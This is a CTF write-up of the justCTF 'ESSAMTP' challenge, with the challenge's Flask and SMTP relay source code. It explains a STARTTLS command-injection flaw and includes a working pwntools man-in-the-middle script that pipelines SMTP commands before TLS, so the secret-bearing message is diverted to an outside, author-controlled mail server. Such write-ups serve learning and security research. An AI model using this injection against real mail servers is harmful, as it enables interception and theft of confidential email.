JustCTF ESSAMTP Writeup

| Tags: Articles in English CTF Writeups

A few weeks ago (yeah, sorry for the delay), I participated in justCTF alongside CzechCyberTeam. One of the two challenges I solved was ESSAMTP:

ESSAMTP: Encrypted Simple Sender-Adversary Mail Transfer Protocol

it’s encrypted you know, so it should not matter that we gave you MITM capability…

The first link goes to a simple web application, which will send an email to a hardcoded non-existent email address via a mailserver, address of which is supplied in a form field. The caveat is however, that the client web application uses TLS and only accepts a single certificate.

Source code of the web app (provided in the ZIP from the third link)
import os
import ssl
from smtplib import SMTP
from flask import Flask, request
import traceback

ctx = ssl.create_default_context(cafile='cert.pem')

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def hello():
    addr = request.form.get('addr', '')
    if request.method == 'POST':
        s = SMTP()
        try:
            s._host = 'localhost'
            s.connect(addr)
            s.starttls(context=ctx)
            s.sendmail('innocent-sender@nosuchdomain.example', ['innocent-recipient@nosuchdomain.example'],
f'''\
From: some-sender@nosuchdomain.example
To: some-recipient@nosuchdomain.example
Subject: [CONFIDENTIAL] Secret unlock code

Hi Recipient!
Sorry for the delay.  The code you asked for: {os.environ['FLAG']}

Stay safe,
Sender
''')
        except Exception:
            return '<pre>' + traceback.format_exc() + '</pre>'
        return 'ok'
    return f'<form method=POST><input name=addr placeholder=address value={addr}><input type=submit>'

This certificate is held by the SMTP relay available from the second link. This relay tries to resolve the recipient domain and then forward the email according to the MX record. This fails however, since the recipient domain does not exist.

Source code of the relay (provided in the ZIP from the third link)
from dns.resolver import resolve
from dns.exception import DNSException

from smtplib import SMTP
from functools import lru_cache
from subprocess import Popen

import signal


def handler(sig, frame):
    raise RuntimeError("timeout")
signal.signal(signal.SIGALRM, handler)


Popen(['flask', 'run', '--host=0.0.0.0'])


@lru_cache(maxsize=256)
def get_mx(domain):
    try:
        records = resolve(domain, "MX")
    except DNSException:
        return domain
    if not records:
        return domain
    records = sorted(records, key=lambda r: r.preference)
    return str(records[0].exchange)


class RelayHandler:
    def handle_DATA(self, server, session, envelope):
        mx_rcpt = {}
        for rcpt in envelope.rcpt_tos:
            _, _, domain = rcpt.rpartition("@")
            mx = get_mx(domain)
            if mx is None:
                continue
            mx_rcpt.setdefault(mx, []).append(rcpt)

        signal.alarm(5)
        try:
            for mx, rcpts in mx_rcpt.items():
                print('connetin ', mx)
                with SMTP(mx) as client:
                    client.sendmail(
                        from_addr=envelope.mail_from,
                        to_addrs=rcpts,
                        msg=envelope.original_content,
                    )
        finally:
            signal.alarm(0)

As the intro states, we have a MITM capability, since we can point the web app to our SMTP server which would then forward the request to the actual relay. We can’t do much however, since the client and server enforce TLS with a certificate we don’t have.

After a lot of fuzzing (and a few failed attempts at the right vulnerability which made me think the vulnerability was not present), I honed in on the following exploit:

The two services use STARTTLS, which means the communication starts unencrypted, the client then issues the STARTTLS command, to which the server replies and starts TLS communication. The server is smart enough that it doesn’t allow any other commands other than STARTTLS before TLS is established though. The issue is however, that you can send multiple commands in a single packet. These commands are placed into a queue and then executed one after another. The relay however, doesn’t flush this queue after STARTTLS, so you can send a few valid commands before starting the encrypted communication using STARTTLS. This means we can inject commands like RCPT TO and then DATA, which causes the rest of the communication to be interpreted as the message body.

After hooking up the following script to the app, the flag is successfully sent to the supplied address. (This of course contained a couple hours of faffing with timing and different orders of the commands, it didn’t work on the first try.) A good source for the sequence of commands was this bit of the source code of the Email Analysis Toolkit.

from pwn import *

l = listen(8025)
svr = l.wait_for_connection()
r = remote('essamtp.web.jctf.pro', 8025)
svr.send(b'220 211bd207786a Python SMTP 1.4.4.post2\r\n')
r.send(b'ehlo bruzec\r\n')
svr.send(b'250-211bd207786a\r\n250-8BITMIME\r\n250-STARTTLS\r\n250 HELP\r\n')
r.send(b'STARTTLS\r\nEHLO BRUZEK\r\nMAIL FROM:<bruzek@hacking.cz>\r\nRCPT TO:<gs@hxx.cz>\r\nDATA\r\n')
log.info(str(svr.recv(1024, timeout=.1)))
log.info(str(svr.recv(1024, timeout=.1)))
log.warn(str(r.recv(1024, timeout=.1)))
svr.send(b'220 Ready to start TLS\r\n')

while True:
    if svr.can_recv():
        srvdata = svr.recv(1024)
        log.info(srvdata)
        r.send(srvdata)
    if r.can_recv():
        rdata = r.recv(1024)
        log.warn(rdata)
        svr.send(rdata)

Obviously, no self-respecting email client would receive that email, so @sijisu used the following command to capture the traffic on hxx.cz, since he owns the server:

sudo ngrep -d cni-podman4 port 25